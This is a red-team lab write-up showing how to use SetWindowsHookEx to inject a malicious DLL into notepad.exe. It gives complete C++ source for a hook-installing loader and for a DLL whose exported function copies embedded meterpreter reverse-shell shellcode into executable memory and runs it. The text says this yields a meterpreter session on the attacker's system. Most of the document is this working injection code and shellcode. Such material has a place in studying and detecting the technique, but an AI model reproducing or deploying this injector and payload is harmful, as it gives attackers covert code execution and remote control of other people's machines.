SetWindowHookEx Code Injection

Windows allow programs to install hooks to monitor various system events such as mouse clicks and keyboard key presses by using SetWindowHookEx.
In this lab SetWindowHookEx is used to inject a malicious DLL into notepad.exe, which then executes  meterpreter shellcode.
Overview
The workflow of the technique is as follows:
1.
Create a malicious DLL that exports one function, which when invoked, executes meterpreter shellcode
2.
Create another program that loads the malicious binary by:
1.
Resolving address of the exported function
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Installing a keyboard hook. The hook is then pointed to the exported function
3.
Notepad.exe is launched by the victim and a keypress is registered
4.
Since keyboard events are hooked, notepad.exe loads in our malicious dll and invokes the exported function
5.
Metepreter session is established on the attacking system
Execution
Let's create a DLL with an export a function spotlessExport that executes meterpreter shellcode when invoked:
Compile the DLL and check if the export was successful. We can use dumpbin.exe to do this, but first we need to find it (if we have Visual Studio installed):
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cmd /c dir /s/b c:\dumpbin*
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Then use it like so to dump the exported functions:
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dumpbin.exe dllhook.dll /exports
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Below shows the output of exported functions for dllhook.dll as presented by CFF Explorer (left) and dumpin:
Demo
Below shows the technique in action:
Process Explorer (top right) with notepad (bottom right) selected
In the middle - the code that installs the hook to all threads that are in the same desktop as the calling thread
Attacking system with multi-handler on the left - ready to catch the meterpreter
Once the hook is installed and a key is pressed in when notepad is in focus, dllhook.dll is loaded into notepad.exe process and our malicious exported function exportedSpotless is executed, which in turn results in a meterpreter shell
Code
Both hooks.cpp and dllhook.cpp are provided below:
hooks.cpp
dllhook.cpp
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#include "pch.h"
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#include <iostream>
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#include <Windows.h>
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​
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int main()
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{
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	HMODULE library = LoadLibraryA("dllhook.dll");
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	HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "spotlessExport");
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​
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	HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);
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	Sleep(10*1000);
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	UnhookWindowsHookEx(hook);
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​
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	return 0;
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}
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#include "stdafx.h"
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​
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BOOL APIENTRY DllMain( HMODULE hModule,
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                       DWORD  ul_reason_for_call,
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                       LPVOID lpReserved
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                     )
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{
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    switch (ul_reason_for_call)
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    {
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	case DLL_PROCESS_ATTACH:
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    case DLL_THREAD_ATTACH:
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    case DLL_THREAD_DETACH:
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    case DLL_PROCESS_DETACH:
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        break;
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    }
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    return TRUE;
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}
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​
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extern "C" __declspec(dllexport) int spotlessExport() {
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	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
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​
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	void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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	memcpy(exec, shellcode, sizeof shellcode);
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	((void(*)())exec)();
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	return 0;
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}
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References
SetWindowsHookExA function (winuser.h) - Win32 apps
docsmsft
Exporting from a DLL Using __declspec(dllexport)
docsmsft

Injecting to Remote Process via Thread Hijacking

Finding Kernel32 Base and Function Addresses in Shellcode

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